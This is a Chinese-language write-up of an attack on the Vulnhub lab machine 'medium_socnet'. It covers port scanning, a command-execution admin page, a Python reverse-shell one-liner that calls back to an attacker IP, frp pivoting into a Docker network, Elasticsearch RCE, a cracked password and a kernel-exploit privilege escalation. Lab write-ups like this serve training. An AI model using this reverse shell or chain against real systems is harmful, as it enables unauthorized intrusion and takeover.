Vulnhub打靶-medium_socnet
信息收集
扫描网卡网段,确定靶机IP地址,使用arp-scan -l

可以知道靶机IP是192.168.20.131,接下来用fscan扫描开放端口

只扫出来了22端口,换nmap扫,指令nmap -O -sV -p- -A 192.168.20.131

扫出来了5000端口,而且是http服务,用python搭的,我们直接网页访问即可

是一个留言系统,针对这种带输入框的,要么打xss,要么打命令执行rce,再不济就是ssti,我们挨个试就完了

发现啥都不行,抓包也没发现其他东西,我们这时候扫一下存不存在后门路径

发现存在admin路由,我们尝试访问一下,看看能发现什么

存在命令执行,我们直接反弹shell即可
反弹shell
在命令执行框中输入反弹shell代码,经过测试,只有下面这种可以成功反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.143",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
很有可能是这只能执行python的脚本有关,不能单独执行bash命令

成功反弹shell

我们发现在对方的docker中,我们执行ip a命令,发现ip地址和之前不对

大概率是因为对方处于内网中,网段为172.17.0.3/16,接下来我们进行内网穿透即可,我们使用frpc进行内网穿透
内网穿透
我们这里尝试使用msf进行接收shell,因为msf能更好的添加内网路由
use exploit/multi/handler |

我们先保存在background中,然后我们开启新的模块去添加路由,如下所示,添加路由失败了,我们只能用代理工具了,这里使用的是frp进行代理
首先在我们的虚拟机上开启服务端,如下所示

用python开启一个web服务,让靶机下载我们的frpc以及frpc.ini,其中frpc.ini中的serverip改成kali的ip即可

成功挂上代理,用fscan扫描存活主机,如下所示

这里不知道为什么可以ping通,但是nmap就是扫不出来,后续参考别人的wp做的
权限横移
通过Elasticsearch 低版本漏洞进行rce,可以直接拿到172.17.0.2主机的root权限

在根目录下发现密码文件,拿去hash破解即可

最后只有这个用户可以登陆
john:1337hack |
我们用ssh连接即可

权限提升
拿到主机的ssh权限后肯定要提升道root权限

由上图可知,sudo提权不存在,我们接下来去找suid提权

我们发现也没有什么很值得利用的点,接下来去看内核版本

版本挺低的,网上可以搜到相关的漏洞

直接把exp下载下来运行即可

gcc编译一下

发现靶机没有gcc文件,只能我们攻击机编译后传输过去,首先我们观察一下这个c文件

我们发现里面会创建一个so文件,而且在执行的时候会调用,所以我们在攻击机上生成的时候要把so文件找到一并传输过去

我们把这一串代码删除即可,因为我们会手动传输到指定位置
locate ofs-lib.so |
然后全部传输到靶机上即可,记住一定要在/tmp目录下操作

给权限执行即可,可以成功拿到root权限
总结
这道题还是有难度的,不仅仅是简单的靶机渗透,带了点内网东西在里面,环境调试起来比较麻烦,认真打下来虽然有些点很恼火,但可以学到一些新的思路,就是在docker里面不一定通过docker逃逸,可以看自己的IP是否改变来判断是不是同一台机子吧